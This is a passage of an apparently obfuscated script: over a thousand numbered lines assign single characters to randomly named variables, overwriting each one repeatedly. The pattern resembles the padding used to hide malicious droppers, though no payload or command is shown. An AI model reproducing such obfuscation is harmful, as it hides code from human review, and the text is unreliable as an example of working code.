109	vwwclxaq = "t";
110	vwwclxaq = "r";
111	vwwclxaq = "G";
112	vwwclxaq = "q";
113	vwwclxaq = "J";
114	vwwclxaq = "h";
115	vwwclxaq = "N";
116	vwwclxaq = "j";
117	vwwclxaq = "c";
118	vwwclxaq = "C";
119	vwwclxaq = "U";
120	vwwclxaq = "h";
121	vwwclxaq = "b";
122	vwwclxaq = "O";
123	vwwclxaq = "V";
124	vwwclxaq = "Z";
125	vwwclxaq = "k";
126	qdzwkqc = "m";
127	qdzwkqc = "c";
128	qdzwkqc = "M";
129	qdzwkqc = "O";
130	qdzwkqc = "o";
131	qdzwkqc = "p";
132	qdzwkqc = "I";
133	qdzwkqc = "n";
134	qdzwkqc = "v";
135	qdzwkqc = "f";
136	qdzwkqc = "o";
137	qdzwkqc = "J";
138	qdzwkqc = "I";
139	qdzwkqc = "W";
140	qdzwkqc = "E";
141	qdzwkqc = "P";
142	qdzwkqc = "x";
143	iaxtqcmjr = "R";
144	iaxtqcmjr = "O";
145	iaxtqcmjr = "S";
146	iaxtqcmjr = "Q";
147	iaxtqcmjr = "b";
148	iaxtqcmjr = "j";
149	iaxtqcmjr = "L";
150	iaxtqcmjr = "Y";
151	iaxtqcmjr = "S";
152	iaxtqcmjr = "t";
153	iaxtqcmjr = "h";
154	iaxtqcmjr = "E";
155	iaxtqcmjr = "T";
156	iaxtqcmjr = "R";
157	iaxtqcmjr = "q";
158	iaxtqcmjr = "i";
159	iaxtqcmjr = "x";
160	iaxtqcmjr = "T";
161	iaxtqcmjr = "j";
162	iaxtqcmjr = "H";
163	iaxtqcmjr = "y";
164	iaxtqcmjr = "a";
165	iaxtqcmjr = "k";
166	iaxtqcmjr = "S";
167	iaxtqcmjr = "q";
168	iaxtqcmjr = "s";
169	iaxtqcmjr = "z";
170	iaxtqcmjr = "H";
171	iaxtqcmjr = "R";
172	iaxtqcmjr = "B";
173	iaxtqcmjr = "L";
174	iaxtqcmjr = "l";
175	iaxtqcmjr = "m";
176	iaxtqcmjr = "J";
177	iaxtqcmjr = "V";
178	iaxtqcmjr = "X";
179	iaxtqcmjr = "F";
180	iaxtqcmjr = "Y";
181	iaxtqcmjr = "l";
182	travzfiay = "v";
183	travzfiay = "S";
184	travzfiay = "U";
185	travzfiay = "V";
186	travzfiay = "a";
187	travzfiay = "E";
188	travzfiay = "w";
189	travzfiay = "J";
190	travzfiay = "R";
191	travzfiay = "R";
192	travzfiay = "a";
193	travzfiay = "s";
194	travzfiay = "g";
195	travzfiay = "U";
196	travzfiay = "S";
197	travzfiay = "X";
198	travzfiay = "U";
199	travzfiay = "T";
200	travzfiay = "j";
201	travzfiay = "m";
202	travzfiay = "W";
203	travzfiay = "L";
204	travzfiay = "y";
205	travzfiay = "w";
206	travzfiay = "k";
207	travzfiay = "z";
208	travzfiay = "v";
209	hsrxx = "J";
210	hsrxx = "Z";
211	hsrxx = "p";
212	hsrxx = "u";
213	hsrxx = "M";
214	hsrxx = "w";
215	hsrxx = "W";
216	hsrxx = "f";
217	hsrxx = "Z";
218	hsrxx = "V";
219	hsrxx = "w";
220	hsrxx = "S";
221	hsrxx = "D";
222	hsrxx = "W";
223	hsrxx = "h";
224	hsrxx = "H";
225	hsrxx = "E";
226	hsrxx = "X";
227	hsrxx = "D";
228	hsrxx = "u";
229	hsrxx = "t";
230	hsrxx = "i";
231	hsrxx = "s";
232	hsrxx = "k";
233	hsrxx = "v";
234	hsrxx = "g";
235	hsrxx = "q";
236	hsrxx = "E";
237	hsrxx = "u";
238	hsrxx = "r";
239	hsrxx = "n";
240	hsrxx = "b";
241	hsrxx = "N";
242	hsrxx = "W";
243	hsrxx = "F";
244	hsrxx = "E";
245	hsrxx = "r";
246	hsrxx = "1";
247	qpynprkz = "K";
248	qpynprkz = "K";
249	qpynprkz = "Q";
250	qpynprkz = "d";
251	qpynprkz = "j";
252	qpynprkz = "w";
253	qpynprkz = "i";
254	qpynprkz = "r";
255	qpynprkz = "P";
256	qpynprkz = "Y";
257	qpynprkz = "n";
258	qpynprkz = "v";
259	qpynprkz = "s";
260	qpynprkz = "E";
261	qpynprkz = "G";
262	qpynprkz = "r";
263	qpynprkz = "p";
264	qpynprkz = "N";
265	qpynprkz = "-";
266	eqwqlwf = "U";
267	eqwqlwf = "o";
268	eqwqlwf = "y";
269	eqwqlwf = "K";
270	eqwqlwf = "u";
271	eqwqlwf = "J";
272	eqwqlwf = "X";
273	eqwqlwf = "d";
274	eqwqlwf = "f";
275	eqwqlwf = "C";
276	eqwqlwf = "v";
277	eqwqlwf = "Y";
278	eqwqlwf = "H";
279	eqwqlwf = "K";
280	eqwqlwf = "e";
281	jbbbwxlcr = "p";
282	jbbbwxlcr = "I";
283	jbbbwxlcr = "w";
284	jbbbwxlcr = "m";
285	jbbbwxlcr = "g";
286	jbbbwxlcr = "z";
287	jbbbwxlcr = "x";
288	jbbbwxlcr = "X";
289	jbbbwxlcr = "f";
290	jbbbwxlcr = "I";
291	jbbbwxlcr = "L";
292	jbbbwxlcr = "p";
293	jbbbwxlcr = "O";
294	jbbbwxlcr = "w";
295	jbbbwxlcr = "s";
296	jbbbwxlcr = "t";
297	jbbbwxlcr = "h";
298	jbbbwxlcr = "M";
299	jbbbwxlcr = "l";
300	jbbbwxlcr = "V";
301	jbbbwxlcr = "z";
302	jbbbwxlcr = "j";
303	jbbbwxlcr = "z";
304	jbbbwxlcr = "P";
305	jbbbwxlcr = "K";
306	jbbbwxlcr = "f";
307	jbbbwxlcr = "v";
308	jbbbwxlcr = "Y";
309	jbbbwxlcr = "h";
310	jbbbwxlcr = "F";
311	jbbbwxlcr = "M";
312	jbbbwxlcr = "P";
313	jbbbwxlcr = "p";
314	jbbbwxlcr = "y";
315	jbbbwxlcr = "h";
316	jbbbwxlcr = "s";
317	jbbbwxlcr = "O";
318	jbbbwxlcr = "Q";
319	jbbbwxlcr = "v";
320	jbbbwxlcr = "U";
321	jbbbwxlcr = "/";
322	xwhhttey = "N";
323	xwhhttey = "P";
324	xwhhttey = "y";
325	xwhhttey = "M";
326	xwhhttey = "B";
327	xwhhttey = "p";
328	xwhhttey = "M";
329	xwhhttey = "F";
330	xwhhttey = "Z";
331	xwhhttey = "c";
332	xwhhttey = "e";
333	xwhhttey = "q";
334	xwhhttey = "q";
335	xwhhttey = "e";
336	xwhhttey = "h";
337	xwhhttey = "N";
338	xwhhttey = "l";
339	xwhhttey = "L";
340	xwhhttey = "U";
341	xwhhttey = "v";
342	xwhhttey = "f";
343	xwhhttey = "Z";
344	xwhhttey = "j";
345	xwhhttey = "p";
346	xwhhttey = "z";
347	xwhhttey = "d";
348	xwhhttey = "E";
349	xwhhttey = "q";
350	xwhhttey = ".";
351	fituh = "v";
352	fituh = "Z";
353	fituh = "o";
354	fituh = "j";
355	fituh = "q";
356	fituh = "B";
357	fituh = "w";
358	fituh = "e";
359	fituh = "a";
360	tlmljryt = "w";
361	tlmljryt = "C";
362	tlmljryt = "a";
363	tlmljryt = "r";
364	tlmljryt = "R";
365	tlmljryt = "M";
366	tlmljryt = "W";
367	tlmljryt = "K";
368	tlmljryt = "a";
369	tlmljryt = "B";
370	tlmljryt = "T";
371	tlmljryt = "y";
372	tlmljryt = "E";
373	tlmljryt = "M";
374	tlmljryt = "p";
375	tlmljryt = "D";
376	tlmljryt = "f";
377	tlmljryt = "R";
378	tlmljryt = "t";
379	tlmljryt = "K";
380	tlmljryt = "h";
381	tlmljryt = "z";
382	tlmljryt = "G";
383	tlmljryt = "X";
384	tlmljryt = "d";
385	tlmljryt = "Z";
386	tlmljryt = "U";
387	tlmljryt = "G";
388	tlmljryt = "Z";
389	tlmljryt = "J";
390	tlmljryt = "L";
391	tlmljryt = "O";
392	tlmljryt = "Q";
393	tlmljryt = "b";
394	tlmljryt = "s";
395	tlmljryt = "O";
396	tlmljryt = "i";
397	tlmljryt = "h";
398	upndq = "D";
399	upndq = "R";
400	upndq = "Z";
401	upndq = "D";
402	upndq = "D";
403	upndq = "L";
404	upndq = "S";
405	upndq = "U";
406	upndq = "C";
407	upndq = "s";
408	upndq = "G";
409	upndq = "L";
410	upndq = "J";
411	upndq = "H";
412	upndq = "v";
413	upndq = "K";
414	upndq = "k";
415	upndq = "n";
416	upndq = "q";
417	bgrull = "N";
418	bgrull = "u";
419	bgrull = "n";
420	bgrull = "b";
421	qajkfhk = "b";
422	qajkfhk = "s";
423	qajkfhk = "L";
424	qajkfhk = "q";
425	qajkfhk = "4";
426	gbphb = "C";
427	gbphb = "w";
428	gbphb = "U";
429	gbphb = "p";
430	gbphb = "W";
431	gbphb = "m";
432	gbphb = "r";
433	gbphb = "N";
434	gbphb = "Y";
435	gbphb = "j";
436	gbphb = "f";
437	gbphb = "d";
438	gbphb = "u";
439	gbphb = "k";
440	gbphb = "t";
441	gbphb = "j";
442	gbphb = "i";
443	gbphb = "x";
444	gbphb = "f";
445	gbphb = "c";
446	gbphb = "l";
447	gbphb = "n";
448	gbphb = "i";
449	gbphb = "d";
450	lsygs = "j";
451	lsygs = "X";
452	lsygs = "r";
453	lsygs = "A";
454	lsygs = "G";
455	lsygs = "K";
456	lsygs = "s";
457	lsygs = "X";
458	lsygs = "Q";
459	lsygs = "v";
460	lsygs = "T";
461	lsygs = "z";
462	lsygs = "f";
463	lsygs = "D";
464	lsygs = "k";
465	lsygs = "S";
466	lsygs = "P";
467	lsygs = "N";
468	lsygs = "V";
469	lsygs = "O";
470	lsygs = "R";
471	lsygs = "j";
472	lsygs = "z";
473	lsygs = "m";
474	lsygs = "h";
475	lsygs = "U";
476	lsygs = "O";
477	lsygs = "e";
478	lsygs = "A";
479	lsygs = "G";
480	lsygs = "f";
481	lsygs = "T";
482	lsygs = "P";
483	lsygs = "R";
484	lsygs = "A";
485	lsygs = "N";
486	ukgowfpq = "x";
487	ukgowfpq = "C";
488	ukgowfpq = "r";
489	ukgowfpq = "h";
490	ukgowfpq = "Q";
491	izvdzhknd = "j";
492	izvdzhknd = "R";
493	izvdzhknd = "O";
494	izvdzhknd = "J";
495	izvdzhknd = "a";
496	izvdzhknd = "u";
497	izvdzhknd = "t";
498	izvdzhknd = "G";
499	izvdzhknd = "t";
500	izvdzhknd = "K";
501	izvdzhknd = "l";
502	izvdzhknd = "W";
503	izvdzhknd = "E";
504	izvdzhknd = "w";
505	vglbsqwrz = "J";
506	vglbsqwrz = "Q";
507	vglbsqwrz = "Y";
508	vglbsqwrz = "O";
509	vglbsqwrz = "k";
510	vglbsqwrz = "L";
511	vglbsqwrz = "A";
512	vglbsqwrz = "P";
513	vglbsqwrz = "b";
514	vglbsqwrz = "q";
515	vglbsqwrz = "o";
516	vglbsqwrz = "g";
517	vglbsqwrz = "d";
518	vglbsqwrz = "z";
519	vglbsqwrz = "i";
520	vglbsqwrz = "_";
521	xksxgosg = "C";
522	cbntao = "B";
523	cbntao = "I";
524	cbntao = "K";
525	cbntao = "h";
526	cbntao = "z";
527	cbntao = "Y";
528	cbntao = "v";
529	cbntao = "P";
530	cbntao = "V";
531	cbntao = "b";
532	cbntao = "d";
533	cbntao = "M";
534	cbntao = "F";
535	cbntao = "B";
536	cbntao = "c";
537	cbntao = "T";
538	cbntao = "a";
539	cbntao = "W";
540	cbntao = "H";
541	cbntao = "X";
542	cbntao = "D";
543	cbntao = "X";
544	cbntao = "X";
545	cbntao = "A";
546	cbntao = "P";
547	cbntao = "P";
548	cbntao = "e";
549	cbntao = "j";
550	cbntao = "S";
551	cbntao = "R";
552	nxoczij = "v";
553	nxoczij = "d";
554	nxoczij = "d";
555	nxoczij = "B";
556	nxoczij = "O";
557	ybbcgl = "a";
558	ybbcgl = "V";
559	ybbcgl = "p";
560	ybbcgl = "j";
561	ybbcgl = "Y";
562	ybbcgl = "y";
563	ybbcgl = "e";
564	ybbcgl = "l";
565	ybbcgl = "K";
566	ybbcgl = "p";
567	ybbcgl = "X";
568	ybbcgl = "N";
569	ybbcgl = "z";
570	ybbcgl = "C";
571	ybbcgl = "t";
572	ybbcgl = "I";
573	ybbcgl = "h";
574	ybbcgl = "c";
575	ybbcgl = "K";
576	ybbcgl = "c";
577	ybbcgl = "V";
578	ybbcgl = "B";
579	ybbcgl = "s";
580	ybbcgl = "K";
581	ybbcgl = "l";
582	ybbcgl = "q";
583	ybbcgl = "H";
584	ybbcgl = "Q";
585	ybbcgl = "Z";
586	ybbcgl = "W";
587	ybbcgl = "R";
588	ybbcgl = "u";
589	ybbcgl = "M";
590	ybbcgl = "q";
591	ybbcgl = "k";
592	ybbcgl = "J";
593	ybbcgl = "u";
594	ybbcgl = "u";
595	ybbcgl = "5";
596	ejsufkx = "X";
597	ejsufkx = "p";
598	ejsufkx = "g";
599	ejsufkx = "i";
600	ejsufkx = "n";
601	wijyjqb = "o";
602	wijyjqb = "W";
603	wijyjqb = "w";
604	wijyjqb = "n";
605	wijyjqb = "o";
606	wijyjqb = "P";
607	wijyjqb = "K";
608	wijyjqb = "y";
609	wijyjqb = "D";
610	wijyjqb = "I";
611	wijyjqb = "o";
612	idlckqosm = "y";
613	idlckqosm = "b";
614	idlckqosm = "w";
615	idlckqosm = "N";
616	idlckqosm = "A";
617	idlckqosm = "h";
618	idlckqosm = "n";
619	idlckqosm = "u";
620	idlckqosm = "v";
621	idlckqosm = "G";
622	idlckqosm = "g";
623	idlckqosm = "Y";
624	idlckqosm = "M";
625	idlckqosm = "B";
626	idlckqosm = "t";
627	idlckqosm = "u";
628	idlckqosm = "B";
629	idlckqosm = "A";
630	idlckqosm = "C";
631	idlckqosm = "x";
632	idlckqosm = "l";
633	idlckqosm = "K";
634	idlckqosm = "u";
635	idlckqosm = "q";
636	idlckqosm = "X";
637	idlckqosm = "d";
638	idlckqosm = "\\";
639	nqlgbqpn = "V";
640	nqlgbqpn = "Q";
641	nqlgbqpn = "e";
642	nqlgbqpn = "S";
643	nqlgbqpn = "E";
644	nqlgbqpn = "k";
645	nqlgbqpn = "l";
646	nqlgbqpn = "h";
647	nqlgbqpn = "J";
648	nqlgbqpn = "B";
649	nqlgbqpn = "N";
650	nqlgbqpn = "u";
651	nqlgbqpn = "O";
652	nqlgbqpn = "h";
653	nqlgbqpn = "a";
654	nqlgbqpn = "V";
655	nqlgbqpn = "V";
656	nqlgbqpn = "B";
657	nqlgbqpn = "D";
658	nqlgbqpn = "q";
659	nqlgbqpn = "s";
660	nqlgbqpn = "J";
661	nqlgbqpn = "p";
662	nqlgbqpn = "q";
663	nqlgbqpn = "y";
664	nqlgbqpn = "F";
665	nqlgbqpn = "j";
666	nqlgbqpn = "F";
667	nqlgbqpn = "h";
668	nqlgbqpn = "P";
669	nqlgbqpn = "Z";
670	nqlgbqpn = ":";
671	eatfztk = "Y";
672	eatfztk = "F";
673	eatfztk = "K";
674	eatfztk = "f";
675	eatfztk = "q";
676	eatfztk = "m";
677	pwgckoj = "A";
678	pwgckoj = "a";
679	pwgckoj = "y";
680	pwgckoj = "i";
681	pwgckoj = "T";
682	pwgckoj = "P";
683	pwgckoj = "z";
684	pwgckoj = "b";
685	pwgckoj = "p";
686	pwgckoj = "r";
687	pwgckoj = "p";
688	pwgckoj = "i";
689	pwgckoj = "N";
690	pwgckoj = "Y";
691	pwgckoj = "A";
692	pwgckoj = "a";
693	pwgckoj = "F";
694	pwgckoj = "w";
695	pwgckoj = "g";
696	pwgckoj = "a";
697	pwgckoj = "J";
698	pwgckoj = "R";
699	pwgckoj = "y";
700	pwgckoj = "f";
701	pwgckoj = "A";
702	pwgckoj = "9";
703	hxfrvhb = "Z";
704	hxfrvhb = "j";
705	hxfrvhb = "v";
706	hxfrvhb = "W";
707	hxfrvhb = "I";
708	hxfrvhb = "p";
709	hxfrvhb = "X";
710	hxfrvhb = "g";
711	hxfrvhb = "f";
712	hxfrvhb = "X";
713	hxfrvhb = "L";
714	hxfrvhb = "V";
715	hxfrvhb = "q";
716	hxfrvhb = "w";
717	hxfrvhb = "S";
718	hxfrvhb = "z";
719	hxfrvhb = "H";
720	hxfrvhb = "K";
721	hxfrvhb = "G";
722	hxfrvhb = "n";
723	hxfrvhb = "T";
724	hxfrvhb = "M";
725	hxfrvhb = "n";
726	hxfrvhb = "V";
727	hxfrvhb = "m";
728	hxfrvhb = "h";
729	hxfrvhb = "f";
730	hvfcbxag = "Y";
731	hvfcbxag = "l";
732	hvfcbxag = "U";
733	hvfcbxag = "k";
734	hvfcbxag = "N";
735	hvfcbxag = "j";
736	hvfcbxag = "m";
737	hvfcbxag = "L";
738	hvfcbxag = "a";
739	hvfcbxag = "n";
740	hvfcbxag = "n";
741	hvfcbxag = "V";
742	hvfcbxag = "Q";
743	hvfcbxag = "r";
744	hvfcbxag = "G";
745	hvfcbxag = "b";
746	hvfcbxag = "V";
747	hvfcbxag = "D";
748	hvfcbxag = "B";
749	hvfcbxag = "p";
750	hvfcbxag = "z";
751	hvfcbxag = "q";
752	hvfcbxag = "y";
753	hvfcbxag = "Y";
754	hvfcbxag = "Q";
755	hvfcbxag = "h";
756	hvfcbxag = "m";
757	hvfcbxag = "Q";
758	hvfcbxag = "T";
759	hvfcbxag = "o";
760	hvfcbxag = "d";
761	hvfcbxag = "v";
762	hvfcbxag = "T";
763	hvfcbxag = "C";
764	hvfcbxag = "t";
765	hvfcbxag = "F";
766	hvfcbxag = "L";
767	hvfcbxag = "o";
768	hvfcbxag = "J";
769	hvfcbxag = "u";
770	hvfcbxag = "n";
771	hvfcbxag = "T";
772	hvfcbxag = "3";
773	mxhyw = "v";
774	mxhyw = "h";
775	mxhyw = "C";
776	mxhyw = "x";
777	mxhyw = "Z";
778	mxhyw = "W";
779	mxhyw = "i";
780	mxhyw = "U";
781	mxhyw = "v";
782	mxhyw = "b";
783	mxhyw = "o";
784	mxhyw = "n";
785	mxhyw = "p";
786	mxhyw = "P";
787	mxhyw = "F";
788	mxhyw = "B";
789	mxhyw = "H";
790	mxhyw = "A";
791	mxhyw = "C";
792	mxhyw = "H";
793	mxhyw = "O";
794	mxhyw = "z";
795	mxhyw = "Z";
796	mxhyw = "N";
797	mxhyw = "V";
798	mxhyw = "F";
799	mxhyw = "c";
800	mxhyw = "i";
801	mxhyw = "O";
802	mxhyw = "s";
803	mxhyw = "w";
804	mxhyw = "A";
805	mxhyw = "U";
806	mxhyw = "O";
807	mxhyw = "O";
808	mxhyw = "B";
809	mxhyw = "i";
810	mxhyw = "L";
811	mxhyw = "l";
812	mxhyw = "k";
813	mxhyw = "V";
814	mxhyw = "q";
815	mxhyw = "g";
816	mxhyw = "E";
817	xmcxcjrhj = "M";
818	xmcxcjrhj = "L";
819	xmcxcjrhj = "J";
820	xmcxcjrhj = "N";
821	xmcxcjrhj = "i";
822	swoioj = "R";
823	swoioj = "q";
824	swoioj = "g";
825	swoioj = "H";
826	swoioj = "Y";
827	swoioj = "M";
828	swoioj = "x";
829	swoioj = "z";
830	swoioj = "k";
831	swoioj = "r";
832	swoioj = "n";
833	swoioj = "W";
834	swoioj = "V";
835	swoioj = "S";
836	swoioj = "X";
837	swoioj = "q";
838	swoioj = "D";
839	swoioj = "P";
840	swoioj = "u";
841	swoioj = "W";
842	swoioj = "j";
843	swoioj = "x";
844	swoioj = "i";
845	swoioj = "T";
846	swoioj = "S";
847	swoioj = "N";
848	swoioj = "g";
849	swoioj = "f";
850	swoioj = "P";
851	swoioj = "a";
852	swoioj = "X";
853	swoioj = "r";
854	swoioj = "Q";
855	swoioj = "q";
856	swoioj = "k";
857	swoioj = "k";
858	swoioj = "M";
859	swoioj = "a";
860	swoioj = "f";
861	swoioj = "c";
862	swoioj = "p";
863	swoioj = "g";
864	swoioj = "z";
865	swoioj = "z";
866	swoioj = "U";
867	gzgvea = "A";
868	gzgvea = "W";
869	gzgvea = "j";
870	gzgvea = "m";
871	gzgvea = "e";
872	gzgvea = "z";
873	gzgvea = "N";
874	gzgvea = "N";
875	gzgvea = "v";
876	gzgvea = "k";
877	gzgvea = "h";
878	gzgvea = "k";
879	gzgvea = "F";
880	gzgvea = "R";
881	gzgvea = "m";
882	gzgvea = "W";
883	gzgvea = "S";
884	gzgvea = "Y";
885	snivejqlc = "z";
886	snivejqlc = "n";
887	snivejqlc = "x";
888	snivejqlc = "Z";
889	snivejqlc = "D";
890	snivejqlc = "j";
891	snivejqlc = "G";
892	snivejqlc = "m";
893	snivejqlc = "p";
894	snivejqlc = "z";
895	snivejqlc = "R";
896	snivejqlc = "k";
897	snivejqlc = "h";
898	snivejqlc = "J";
899	snivejqlc = "z";
900	snivejqlc = "U";
901	snivejqlc = "F";
902	snivejqlc = "P";
903	snivejqlc = "n";
904	snivejqlc = "Y";
905	snivejqlc = "b";
906	snivejqlc = "W";
907	snivejqlc = "U";
908	snivejqlc = "m";
909	snivejqlc = "M";
910	snivejqlc = "M";
911	snivejqlc = "D";
912	snivejqlc = "x";
913	snivejqlc = "Y";
914	snivejqlc = "v";
915	snivejqlc = "R";
916	snivejqlc = "z";
917	snivejqlc = "H";
918	snivejqlc = "X";
919	snivejqlc = "g";
920	snivejqlc = "p";
921	snivejqlc = "R";
922	snivejqlc = "g";
923	snivejqlc = "&";
924	lqpqsmd = "I";
925	lqpqsmd = "d";
926	lqpqsmd = "U";
927	lqpqsmd = "E";
928	lqpqsmd = "V";
929	lqpqsmd = "f";
930	lqpqsmd = "a";
931	lqpqsmd = "I";
932	lqpqsmd = "U";
933	lqpqsmd = "W";
934	lqpqsmd = "u";
935	lqpqsmd = "X";
936	lqpqsmd = "P";
937	lqpqsmd = "J";
938	lqpqsmd = "u";
939	lqpqsmd = "h";
940	lqpqsmd = "h";
941	lqpqsmd = "S";
942	lqpqsmd = "F";
943	hbxokfp = "P";
944	hbxokfp = "y";
945	hbxokfp = "J";
946	hbxokfp = "w";
947	hbxokfp = "H";
948	hbxokfp = "R";
949	hbxokfp = "g";
950	hbxokfp = "R";
951	hbxokfp = "H";
952	hbxokfp = "p";
953	hbxokfp = "f";
954	hbxokfp = "E";
955	hbxokfp = "j";
956	hbxokfp = "M";
957	hbxokfp = "u";
958	hbxokfp = "P";
959	hbxokfp = "C";
960	hbxokfp = "k";
961	hbxokfp = "C";
962	hbxokfp = "T";
963	hbxokfp = "z";
964	hbxokfp = "U";
965	hbxokfp = "e";
966	hbxokfp = "g";
967	hbxokfp = "b";
968	hbxokfp = "x";
969	hbxokfp = "U";
970	hbxokfp = "d";
971	hbxokfp = "i";
972	hbxokfp = "v";
973	hbxokfp = "u";
974	kxcsv = "G";
975	kxcsv = "F";
976	kxcsv = "I";
977	kxcsv = "e";
978	kxcsv = "e";
979	kxcsv = "L";
980	kxcsv = "O";
981	kxcsv = "c";
982	kxcsv = "W";
983	kxcsv = "d";
984	kxcsv = "Z";
985	kxcsv = "f";
986	kxcsv = "o";
987	kxcsv = "\"";
988	fdbkdw = "S";
989	fdbkdw = "K";
990	fdbkdw = "U";
991	fdbkdw = "q";
992	fdbkdw = "d";
993	fdbkdw = "K";
994	fdbkdw = "a";
995	fdbkdw = "B";
996	fdbkdw = "Z";
997	fdbkdw = "B";
998	fdbkdw = "N";
999	fdbkdw = "b";
1000	fdbkdw = "c";
1001	fdbkdw = "p";
1002	fdbkdw = "r";
1003	fdbkdw = "C";
1004	fdbkdw = "L";
1005	fdbkdw = "E";
1006	fdbkdw = "B";
1007	fdbkdw = "R";
1008	fdbkdw = "l";
1009	fdbkdw = "Q";
1010	fdbkdw = "G";
1011	fdbkdw = "q";
1012	fdbkdw = "I";
1013	fdbkdw = "n";
1014	fdbkdw = "u";
1015	fdbkdw = "L";
1016	fdbkdw = "u";
1017	fdbkdw = "G";
1018	fdbkdw = "u";
1019	fdbkdw = "C";
1020	fdbkdw = "S";
1021	fdbkdw = "o";
1022	fdbkdw = "Z";
1023	fdbkdw = "D";
1024	fdbkdw = "C";
1025	fdbkdw = "E";
1026	fdbkdw = "m";
1027	fdbkdw = "2";
1028	hqozr = "v";
1029	hqozr = "b";
1030	hqozr = "l";
1031	hqozr = "U";
1032	hqozr = "p";
1033	hqozr = "d";
1034	hqozr = "U";
1035	hqozr = "e";
1036	hqozr = "J";
1037	hqozr = "B";
1038	hqozr = "H";
1039	hqozr = "w";
1040	hqozr = "W";
1041	hqozr = "e";
1042	hqozr = "m";
1043	hqozr = "S";
1044	hqozr = "F";
1045	hqozr = "y";
1046	hqozr = "c";
1047	hqozr = "z";
1048	hqozr = "Q";
1049	hqozr = "w";
1050	hqozr = "U";
1051	hqozr = "f";
1052	hqozr = "A";
1053	hqozr = "L";
1054	hqozr = "S";
1055	rdhrdo = "r";
1056	rdhrdo = "m";
1057	rdhrdo = "r";
1058	rdhrdo = "N";
1059	rdhrdo = "e";
1060	rdhrdo = "t";
1061	rdhrdo = "h";
1062	rdhrdo = "u";
1063	rdhrdo = "x";
1064	rdhrdo = "G";
1065	rdhrdo = "H";
1066	rdhrdo = "b";
1067	rdhrdo = "R";
1068	rdhrdo = "I";
1069	rdhrdo = "a";
1070	rdhrdo = "J";
1071	rdhrdo = "r";
1072	rdhrdo = "n";
1073	rdhrdo = "M";
1074	rdhrdo = "z";
1075	rdhrdo = "f";
1076	rdhrdo = "u";
1077	rdhrdo = "s";
1078	rdhrdo = "g";
1079	rdhrdo = "B";
1080	rdhrdo = "g";
1081	rdhrdo = "v";
1082	rdhrdo = "y";
1083	rdhrdo = "j";
1084	rdhrdo = "Y";
1085	rdhrdo = "S";
1086	rdhrdo = "k";
1087	rdhrdo = "U";
1088	rdhrdo = "l";
1089	rdhrdo = "O";
1090	rdhrdo = "0";
1091	aoccg = "M";
1092	aoccg = "j";
1093	aoccg = "D";
1094	aoccg = "l";
1095	aoccg = "I";
1096	aoccg = "d";
1097	aoccg = "n";
1098	aoccg = "t";
1099	aoccg = "A";
1100	aoccg = "s";
1101	aoccg = "M";
1102	aoccg = "F";
1103	aoccg = "T";
1104	aoccg = "I";
1105	mggmjc = "E";
1106	mggmjc = "i";
1107	mggmjc = "O";
1108	mggmjc = "i";
1109	mggmjc = "V";
1110	mggmjc = "Z";
1111	mggmjc = "p";
1112	mggmjc = "J";
1113	mggmjc = "I";
1114	mggmjc = "k";
1115	mggmjc = "j";
1116	mggmjc = "L";
1117	mggmjc = "A";
1118	mggmjc = "K";
1119	mggmjc = "I";
1120	mggmjc = "i";
1121	mggmjc = "V";
1122	mggmjc = "w";
1123	mggmjc = "j";
1124	mggmjc = "e";
1125	mggmjc = "y";
1126	mggmjc = "k";
1127	mggmjc = "b";
1128	mggmjc = "b";
1129	mggmjc = "s";
1130	mggmjc = "K";
1131	mggmjc = "u";
1132	mggmjc = "V";
1133	mggmjc = "q";
1134	mggmjc = "Q";
1135	mggmjc = "T";
1136	mggmjc = "b";
1137	mggmjc = "l";
1138	mggmjc = " ";
1139	iiyyulor = "n";
1140	iiyyulor = "U";
1141	iiyyulor = "j";
1142	iiyyulor = "Y";
1143	iiyyulor = "G";
1144	iiyyulor = "g";
1145	udjhaxg = "m";
1146	udjhaxg = "U";
1147	udjhaxg = "y";
1148	udjhaxg = "z";
1149	udjhaxg = "h";
1150	udjhaxg = "j";
1151	udjhaxg = "p";
1152	udjhaxg = "J";
1153	udjhaxg = "f";
1154	udjhaxg = "i";
1155	udjhaxg = "B";
1156	udjhaxg = "L";
1157	udjhaxg = "H";
1158	udjhaxg = "x";
1159	udjhaxg = "C";
1160	udjhaxg = "J";
1161	udjhaxg = "R";
1162	udjhaxg = "l";
1163	udjhaxg = "n";
1164	udjhaxg = "D";
1165	udjhaxg = "F";
1166	udjhaxg = "V";
1167	udjhaxg = "V";
1168	udjhaxg = "r";
1169	udjhaxg = "p";
1170	udjhaxg = "e";
1171	udjhaxg = "P";
1172	udjhaxg = "h";
1173	udjhaxg = "d";
1174	udjhaxg = "g";
1175	udjhaxg = "F";
1176	udjhaxg = "f";
1177	udjhaxg = "s";
1178	udjhaxg = "O";
1179	udjhaxg = "D";
1180	udjhaxg = "%";
1181	ldfegxgum = "V";
1182	ldfegxgum = "l";
1183	ldfegxgum = "u";
1184	ldfegxgum = "u";
1185	ldfegxgum = "Y";
1186	ldfegxgum = "B";
1187	ldfegxgum = "h";
1188	ldfegxgum = "L";
1189	ldfegxgum = "r";
1190	ldfegxgum = "X";
1191	ldfegxgum = "J";
1192	ldfegxgum = "B";
1193	ldfegxgum = "a";
1194	ldfegxgum = "K";
1195	ldfegxgum = "A";
1196	ldfegxgum = "g";
1197	ldfegxgum = "G";
1198	ldfegxgum = "o";
1199	ldfegxgum = "F";
1200	ldfegxgum = "z";
1201	ldfegxgum = "e";
1202	ldfegxgum = "c";
1203	ldfegxgum = "g";
1204	ldfegxgum = "q";
1205	ldfegxgum = "j";
1206	ldfegxgum = "B";
1207	ldfegxgum = "p";
1208	ldfegxgum = "n";
1209	ldfegxgum = "t";
1210	ldfegxgum = "D";
1211	ldfegxgum = "M";
1212	ldfegxgum = "Z";
1213	ldfegxgum = "S";
1214	ldfegxgum = "S";
1215	ldfegxgum = "T";
1216	ldfegxgum = "Z";
1217	ldfegxgum = "Y";
1218	ldfegxgum = "D";
1219	ldfegxgum = "K";
1220	ldfegxgum = "D";
1221	ldfegxgum = "E";
1222	ldfegxgum = "N";
1223	ldfegxgum = "o";
1224	ldfegxgum = "r";
1225	ldfegxgum = "j";
1226	wlaafyup = "i";
1227	wlaafyup = "x";
1228	wlaafyup = "Q";
1229	wlaafyup = "l";
1230	wlaafyup = "B";
1231	wlaafyup = "L";
1232	wlaafyup = "d";
1233	wlaafyup = "E";
1234	wlaafyup = "Q";
1235	wlaafyup = "N";
1236	wlaafyup = "s";
1237	wlaafyup = "T";
1238	wlaafyup = "t";
1239	wlaafyup = "E";
1240	wlaafyup = "R";
1241	wlaafyup = "r";
1242	wlaafyup = "x";
1243	wlaafyup = "F";
1244	wlaafyup = "W";
